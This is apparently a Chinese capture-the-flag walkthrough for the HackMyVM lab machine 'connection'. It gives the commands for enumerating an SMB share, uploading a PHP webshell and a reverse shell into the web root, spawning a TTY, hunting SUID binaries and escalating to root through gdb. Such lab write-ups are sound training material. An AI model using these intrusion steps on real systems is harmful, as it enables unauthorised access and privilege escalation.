当前位置: 首页 > news >正文

hackmyvm-connection

connection(利用445端口smb)

ubuntu:192.168.89.225(这里使用ubuntu代替centos7)

connection:192.168.89.47

kali:192.168.89.149

arp-scan -l

nmap -sS -v 192.168.36.47

nmap 192.168.89.47 --script vuln

使用nmap vuln扫描192.168.111.80靶机,观察可能存在的漏洞:

未发现漏洞,可以通过445(smb)端口入手

smbmap -H 192.168.89.47

有一个共享文件夹,尝试连接一下,这个目录看起来像之前的默认页面目录

smbclient \\\\192.168.89.47\\share

密码是kali攻击机的密码

查看当前目录,进入html目录,下载index.html到本地

就是刚才的那个默认页面,此目录应该就是web目录了

上传一句话木马

put shell.php

上传成功

连接蚁剑

第一个flag

上传 php-reverse-shell.php

GitCode - 全球开发者的开源社区,开源代码托管平台

which python

交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

搜索具备SUID权限的程序

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

find / -user root -perm -4000 -print 2>/dev/null

在 suid 二进制文件中,发现一个特殊文件

-rwsr-sr-x 1 root root 7.7M Oct 14 2019 /usr/bin/gdb

利用 gdb 进行提权

gdb | GTFOBins

提权成功

第二个flag

http://www.dtcms.com/a/79991.html

相关文章:

  • 32、如何解决vector中删除元素导致的迭代器失效问题?
  • 【编译原理】一二章
  • 手机换IP有什么用?最新换IP方法
  • 【秣厉科技】LabVIEW工具包——OpenCV 教程(11):人脸检测与识别
  • Android第五次面试总结(网络补充)
  • Thinkphp指纹识别
  • Kubernets命名空间
  • QT6通过DeepSeek API上传附件实现
  • 【文件操作】IO流
  • MPLS基础---通俗易懂
  • 通过启用Ranger插件的Hive审计日志同步到Doris做分析
  • Android studio无法查看源码
  • 小酌SM2的背景、数字签名
  • 慕慕手记项目日记 首页数据的渲染,使用js 2025-3-16
  • 【Linux内核系列】:动静态库详解
  • 企业数据治理解决方案(46页PPT)(文末有下载方式)
  • CMAC算法原理
  • springboot 打包 failed with MalformedInputException: Input length = 1
  • SaaS系统的销售微服务与权限微服务边界设计
  • 湖仓一体:数据湖与数据仓库的融合模式解析
  • 算法系列——有监督学习——3.逻辑回归
  • 现代时尚标签海报包装网站设计几何风PSAI无衬线英文字体安装包 Matahari Sans Font Family
  • 【linux】统信操作系统修改默认编辑模式从nano改为vim
  • Q2流动式起重机司机考试模拟题库
  • 耘想Android NAS 用户权限设置说明书
  • SQL 中 WHERE 与 HAVING 子句的使用
  • 一些关于瓶装燃气送气工考试的常见考点
  • Spring MVC 参数校验-校验注解
  • Asahi Linux 核心开发者暂停苹果 GPU Linux 驱动开发工作
  • GGUF、Transformer、AWQ 详解与关系梳理